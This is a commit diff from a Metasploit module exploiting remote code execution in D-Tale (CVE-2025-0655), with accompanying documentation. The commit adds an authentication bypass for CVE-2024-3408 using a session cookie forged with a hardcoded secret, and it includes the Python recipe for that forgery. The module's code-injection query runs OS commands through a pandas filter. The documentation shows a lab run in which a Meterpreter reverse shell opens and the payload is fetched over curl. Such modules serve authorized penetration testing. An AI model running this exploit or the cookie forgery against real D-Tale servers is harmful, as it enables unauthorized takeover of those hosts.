Skip to content

Commit 77c3ce5

Browse files
committed
Improve:
* Support the prior to 3.13.0 versions * CVE-2024-3408 bypass for authentication
1 parent 316ecd4 commit 77c3ce5

File tree

2 files changed

+34
-9
lines changed

2 files changed

+34
-9
lines changed

documentation/modules/exploit/linux/http/dtale_rce_cve_2025_0655.md

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@ The vulnerability affects:
1313
This module was successfully tested on:
1414

1515
* D-Tale 3.15.1 installed on Ubuntu 24.04
16+
* D-Tale 3.12.0 installed on Ubuntu 22.04
17+
* D-Tale 3.10.0 installed on Ubuntu 22.04
1618

1719

1820
### Installation
@@ -56,8 +58,8 @@ Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
5658
Name Current Setting Required Description
5759
---- --------------- -------- -----------
5860
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
59-
FETCH_DELETE true yes Attempt to delete the binary after execution
60-
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
61+
FETCH_DELETE false yes Attempt to delete the binary after execution
62+
FETCH_FILELESS true yes Attempt to run payload without touching disk, Linux ≥3.17 only
6163
FETCH_SRVHOST no Local IP to use for serving payload
6264
FETCH_SRVPORT 8080 yes Local port to use for serving payload
6365
FETCH_URIPATH no Local URI to use for serving payload
@@ -69,7 +71,7 @@ Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
6971
7072
Name Current Setting Required Description
7173
---- --------------- -------- -----------
72-
FETCH_FILENAME SOizTtsyojZ no Name to use on remote system when storing payload; cannot contain spaces or slashes
74+
FETCH_FILENAME vxItPQvVMkW no Name to use on remote system when storing payload; cannot contain spaces or slashes
7375
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
7476
7577
@@ -83,21 +85,21 @@ Exploit target:
8385
8486
View the full module info with the info, or info -d command.
8587
86-
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.16
88+
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.17
8789
[*] Started reverse TCP handler on 192.168.56.1:4444
8890
[*] Running automatic check ("set AutoCheck false" to disable)
8991
[+] The target appears to be vulnerable. Version 3.15.1 detected.
9092
[*] Use data_id: 1
9193
[*] Updated the enable_custom_filters to true.
92-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:36278) at 2025-02-23 09:29:16 +0900
94+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:34796) at 2025-03-01 11:37:14 +0900
9395
[*] Successfully executed the payload.
9496
[*] Successfully cleaned up data_id: 1
9597
9698
meterpreter > getuid
9799
Server username: ubu
98100
meterpreter > sysinfo
99-
Computer : 192.168.56.16
100-
OS : Ubuntu 24.04 (Linux 6.8.0-51-generic)
101+
Computer : 192.168.56.17
102+
OS : Ubuntu 22.04 (Linux 6.8.0-52-generic)
101103
Architecture : x64
102104
BuildTuple : x86_64-linux-musl
103105
Meterpreter : x64/linux

modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb

Lines changed: 25 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,14 @@ class MetasploitModule < Msf::Exploit::Remote
99
include Msf::Exploit::Remote::HttpClient
1010
prepend Msf::Exploit::Remote::AutoCheck
1111

12+
# forge a cookie in case there was authentication enabled:
13+
# import hashlib
14+
# from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous
15+
# signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) }
16+
# ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs)
17+
# session = ser.dumps({"logged_in" : True, "username" : "whatever"})
18+
SESSION = 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoid2hhdGV2ZXIifQ.Z8Jdmw.zUb6b2uEm9ZDKWIOsw2A1xLIuLc'
19+
1220
def initialize(info = {})
1321
super(
1422
update_info(
@@ -67,7 +75,10 @@ def initialize(info = {})
6775
def check
6876
res = send_request_cgi({
6977
'method' => 'GET',
70-
'uri' => normalize_uri(target_uri.path, 'dtale/popup/upload')
78+
'uri' => normalize_uri(target_uri.path, 'dtale/popup/upload'),
79+
'headers' => {
80+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
81+
}
7182
})
7283
return Exploit::CheckCode::Unknown unless res&.code == 200
7384

@@ -103,7 +114,10 @@ def exploit
103114
'method' => 'POST',
104115
'uri' => normalize_uri(target_uri.path, 'dtale/upload'),
105116
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
106-
'data' => mime.to_s
117+
'data' => mime.to_s,
118+
'headers' => {
119+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
120+
}
107121
})
108122
@data_id = res&.get_json_document&.fetch('data_id', nil)
109123
fail_with(Failure::Unknown, 'Failed to get data_id from response.') unless @data_id
@@ -114,6 +128,9 @@ def exploit
114128
'uri' => normalize_uri(target_uri.path, "dtale/update-settings/#{@data_id}"),
115129
'vars_get' => {
116130
'settings' => { 'enable_custom_filters' => true }.to_json
131+
},
132+
'headers' => {
133+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
117134
}
118135
})
119136
fail_with(Failure::Unknown, 'Failed to update the settings.') unless res&.get_json_document&.fetch('success', nil)
@@ -125,6 +142,9 @@ def exploit
125142
'vars_get' => {
126143
'query' => "@pd.core.frame.com.builtins.__import__('os').system('#{payload.encoded}')",
127144
'save' => true
145+
},
146+
'headers' => {
147+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
128148
}
129149
})
130150
print_status('Successfully executed the payload.')
@@ -139,6 +159,9 @@ def cleanup
139159
'uri' => normalize_uri(target_uri.path, 'dtale/cleanup-datasets'),
140160
'vars_get' => {
141161
'dataIds' => @data_id
162+
},
163+
'headers' => {
164+
'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie
142165
}
143166
})
144167
print_status("Failed to clean up data_id: #{@data_id}") unless res&.get_json_document&.fetch('success', nil)

0 commit comments

Comments
 (0)